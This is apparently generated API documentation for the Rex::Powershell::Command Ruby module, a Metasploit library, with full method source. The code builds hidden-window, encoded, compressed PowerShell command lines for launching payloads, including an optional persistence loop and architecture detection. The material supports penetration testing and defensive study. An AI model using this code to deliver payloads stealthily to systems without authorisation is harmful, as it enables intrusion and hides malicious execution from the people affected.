Module: Rex::Powershell::Command
- Defined in:
- lib/rex/powershell/command.rb
Class Method Summary collapse
-
.cmd_psh_payload(pay, payload_arch, template_path, opts = {}) ⇒ String
Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture.
-
.compress_script(script_in, eof = nil, opts = {}) ⇒ String
Return a gzip compressed powershell script Will invoke PSH modifiers as enabled.
-
.encode_script(script_in, eof = nil, opts = {}) ⇒ String
Return an encoded powershell script Will invoke PSH modifiers as enabled.
-
.generate_psh_args(opts) ⇒ String
Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g.
-
.generate_psh_command_line(opts) ⇒ String
Generate a powershell command line, options are passed on to generate_psh_args.
-
.run_hidden_psh(ps_code, payload_arch, encoded, opts = {}) ⇒ String
Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.
Class Method Details
.cmd_psh_payload(pay, payload_arch, template_path, opts = {}) ⇒ String
Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture. Opts are passed through to run_hidden_psh, generate_psh_command_line and generate_psh_args
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# File 'lib/rex/powershell/command.rb', line 253 def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {}) if opts[:encode_inner_payload] && opts[:encode_final_payload] fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options' end if opts[:no_equals] && !opts[:encode_final_payload] fail RuntimeError, ':no_equals requires :encode_final_payload option to be used' end psh_payload = case opts[:method] when 'net' Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay) when 'reflection' Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay) when 'old' Rex::Powershell::Payload.to_win32pe_psh(template_path, pay) when 'msil' fail RuntimeError, 'MSIL Powershell method no longer exists' else fail RuntimeError, 'No Powershell method specified' end # Run our payload in a while loop if opts[:persist] fun_name = Rex::Text.rand_text_alpha(rand(2) + 2) sleep_time = rand(5) + 5 psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" end if opts[:prepend_sleep] if opts[:prepend_sleep].to_i > 0 psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload end end compressed_payload = compress_script(psh_payload, nil, opts) encoded_payload = encode_script(psh_payload, opts) # This branch is probably never taken... if encoded_payload.length <= compressed_payload.length smallest_payload = encoded_payload encoded = true else if opts[:encode_inner_payload] encoded = true compressed_encoded_payload = encode_script(compressed_payload) if encoded_payload.length <= compressed_encoded_payload.length smallest_payload = encoded_payload else smallest_payload = compressed_encoded_payload end else smallest_payload = compressed_payload encoded = false end end # Wrap in hidden runtime / architecture detection inner_args = opts.clone final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args) command_args = { noprofile: true, windowstyle: 'hidden' }.merge(opts) if opts[:encode_final_payload] command_args[:encodedcommand] = encode_script(final_payload) # If '=' is a bad character pad the payload until Base64 encoded # payload contains none. if opts[:no_equals] while command_args[:encodedcommand].include? '=' final_payload << ' ' command_args[:encodedcommand] = encode_script(final_payload) end end else if opts[:use_single_quotes] # Escape Single Quotes final_payload.gsub!("'", "''") # Wrap command in quotes final_payload = "'#{final_payload}'" end command_args[:command] = final_payload end psh_command = generate_psh_command_line(command_args) if opts[:remove_comspec] command = psh_command else command = "%COMSPEC% /b /c start /b /min #{psh_command}" end if command.length > 8191 fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)' end command end |
.compress_script(script_in, eof = nil, opts = {}) ⇒ String
Return a gzip compressed powershell script Will invoke PSH modifiers as enabled
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# File 'lib/rex/powershell/command.rb', line 41 def self.compress_script(script_in, eof=nil, opts={}) # Build script object psh = Rex::Powershell::Script.new(script_in) psh.strip_comments if opts[:strip_comments] psh.strip_whitespace if opts[:strip_whitespace] psh.sub_vars if opts[:sub_vars] psh.sub_funcs if opts[:sub_funcs] psh.compress_code(eof) end |
.encode_script(script_in, eof = nil, opts = {}) ⇒ String
Return an encoded powershell script Will invoke PSH modifiers as enabled
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# File 'lib/rex/powershell/command.rb', line 18 def self.encode_script(script_in, eof=nil, opts={}) # Build script object psh = Rex::Powershell::Script.new(script_in) psh.strip_comments if opts[:strip_comments] psh.strip_whitespace if opts[:strip_whitespace] psh.sub_vars if opts[:sub_vars] psh.sub_funcs if opts[:sub_funcs] psh.encode_code(eof) end |
.generate_psh_args(opts) ⇒ String
Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g. “-Arg1 x -Arg -Arg x ”
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# File 'lib/rex/powershell/command.rb', line 108 def self.generate_psh_args(opts) return '' unless opts unless opts.key? :shorten opts[:shorten] = (opts[:method] != 'old') end arg_string = ' ' opts.each_pair do |arg, value| case arg when :encodedcommand arg_string << "-EncodedCommand #{value} " if value when :executionpolicy arg_string << "-ExecutionPolicy #{value} " if value when :inputformat arg_string << "-InputFormat #{value} " if value when :file arg_string << "-File #{value} " if value when :noexit arg_string << '-NoExit ' if value when :nologo arg_string << '-NoLogo ' if value when :noninteractive arg_string << '-NonInteractive ' if value when :mta arg_string << '-Mta ' if value when :outputformat arg_string << "-OutputFormat #{value} " if value when :sta arg_string << '-Sta ' if value when :noprofile arg_string << '-NoProfile ' if value when :windowstyle arg_string << "-WindowStyle #{value} " if value end end # Command must be last (unless from stdin - etc) if opts[:command] arg_string << "-Command #{opts[:command]}" end # Shorten arg if PSH 2.0+ if opts[:shorten] # Invoke-Command and Out-File require these options to have # an additional space before to prevent Powershell code being # mangled. arg_string.gsub!(' -Command ', ' -c ') arg_string.gsub!('-EncodedCommand ', '-e ') arg_string.gsub!('-ExecutionPolicy ', '-ep ') arg_string.gsub!(' -File ', ' -f ') arg_string.gsub!('-InputFormat ', '-i ') arg_string.gsub!('-NoExit ', '-noe ') arg_string.gsub!('-NoLogo ', '-nol ') arg_string.gsub!('-NoProfile ', '-nop ') arg_string.gsub!('-NonInteractive ', '-noni ') arg_string.gsub!('-OutputFormat ', '-o ') arg_string.gsub!('-Sta ', '-s ') arg_string.gsub!('-WindowStyle ', '-w ') end # Strip off first space character arg_string = arg_string[1..-1] # Remove final space character arg_string = arg_string[0..-2] if (arg_string[-1] == ' ') arg_string end |
.generate_psh_command_line(opts) ⇒ String
Generate a powershell command line, options are passed on to generate_psh_args
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# File 'lib/rex/powershell/command.rb', line 61 def self.generate_psh_command_line(opts) if opts[:path] and (opts[:path][-1, 1] != '\\') opts[:path] << '\\' end if opts[:no_full_stop] binary = 'powershell' else binary = 'powershell.exe' end args = generate_psh_args(opts) "#{opts[:path]}#{binary} #{args}" end |
.run_hidden_psh(ps_code, payload_arch, encoded, opts = {}) ⇒ String
Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.
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# File 'lib/rex/powershell/command.rb', line 188 def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={}) opts[:noprofile] ||= 'true' opts[:windowstyle] ||= 'hidden' # Old method needs host process to stay open opts[:noexit] = true if (opts[:method] == 'old') if encoded opts[:encodedcommand] = ps_code else opts[:command] = ps_code.gsub("'", "''") end ps_args = generate_psh_args(opts) process_start_info = <<EOS $s=New-Object System.Diagnostics.ProcessStartInfo $s.FileName=$b $s.Arguments='#{ps_args}' $s.UseShellExecute=$false $s.RedirectStandardOutput=$true $s.WindowStyle='Hidden' $s.CreateNoWindow=$true $p=[System.Diagnostics.Process]::Start($s) EOS process_start_info.gsub!("\n", ';') archictecure_detection = <<EOS if([IntPtr]::Size -eq 4){ #{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"} }else{ #{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"} }; EOS archictecure_detection.gsub!("\n", '') archictecure_detection + process_start_info end |